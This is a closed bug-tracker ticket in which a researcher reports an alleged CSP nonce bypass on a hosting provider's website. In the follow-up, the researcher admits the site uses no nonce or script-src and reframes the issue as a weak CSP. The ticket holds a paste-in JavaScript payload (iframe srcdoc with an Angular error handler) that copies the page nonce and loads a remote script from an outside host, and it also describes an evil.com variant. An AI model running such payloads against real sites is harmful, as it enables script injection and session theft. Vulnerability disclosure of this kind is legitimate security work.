- Status Closed
-
Assigned To
cbay - Private
Opened by ritikkk - 14.07.2026
Last edited by cbay - 15.07.2026
FS#407 - A Content Security Policy (CSP) bypass
Summary A Content Security Policy (CSP) bypass vulnerability exists on the website https://www.alwaysdata.com/en/, facilitated through the utilization of Google Script resources. This vulnerability could lead to security risks such as cross-site scripting (XSS) attacks or data exfiltration.
Description: Upon thorough analysis of the website's security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
Details
Query for Nonce Attribute: The snippet starts by using document.querySelector('[nonce]') to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources.
Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new <script> element called evil.
Set Source for Evil Script: The src attribute of the evil script element is set to 'https://www.evil.com/js/evil.js'. This URL points to a script hosted on a malicious domain (www.evil.com), indicating that this script is potentially harmful.
Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : ''). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string.
Append Evil Script to Document Head: Finally, the evil script element is appended to the <head> of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, what’s the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP's security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP's protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.
POC
1. Go to https://www.alwaysdata.com/en/ 2. Open dev tools and paste and execute this (replace joaxcar.com/hack.js if you want)
3. document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
4. See the popup, look at network tools and see that the script is loaded from
Impact:
This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.
Payload
document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="//joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Screenshot 2026-07-14 110813....
Hello,
What solution do you suggest to fix that issue?
Kind regards,
Cyril
Thank you for your response..
To mitigate this issue, I would recommend the following:
1. Avoid trusting third-party scripts that can execute arbitrary Angular expressions or dynamically create script elements.
2. Prefer using "script-src"" 'nonce-<random>' 'strict-dynamic';" and avoid broad allowlists for third-party domains unless absolutely necessary..
3. Prevent untrusted HTML from being injected into the DOM (e.g., "innerHTML", "srcdoc", or similar sinks) without proper sanitizaation using a trusted sanitizer.
4. Review the application for any DOM XSs or HTML injection vectors that could be chained with the CSP weakness.
These measures should prevent attackers from abusing the CSP configuration to execute unauthorized JavaScript.
Dear Team,
Kindly update me on reported vulnerability.
Thanks
Can you point me to the Google Script resource you're referring to?
Can you point me to our code that uses Angular?
Can you point me to the page that uses nonce-based CSP?
Hi,
Following up after confirming the header, the specific nonce-bypass technique I originally reported doesn't apply here, since there's no script-src or nonce in use at all. I'd like to reframe the finding around the actual gap instead.
Your CSP (base-uri 'self'; frame-ancestors 'self') has no script-src or default-src directive at all. That means CSP currently provides zero mitigation against script execution on this application — no restriction on inline scripts, no restriction on eval, no allowlist on external script sources.
In practice, this means that if any XSS or HTML-injection vector exists anywhere in the app — now or introduced in a future release it would execute with full impact (session hijacking, credential theft, account takeover via token exfiltration, arbitrary actions in the victim's session) with no CSP-layer defense to block or even limit it.
Having a stricted CSP would be nice, and we're actually working on revamping our static stack, which will let us do that.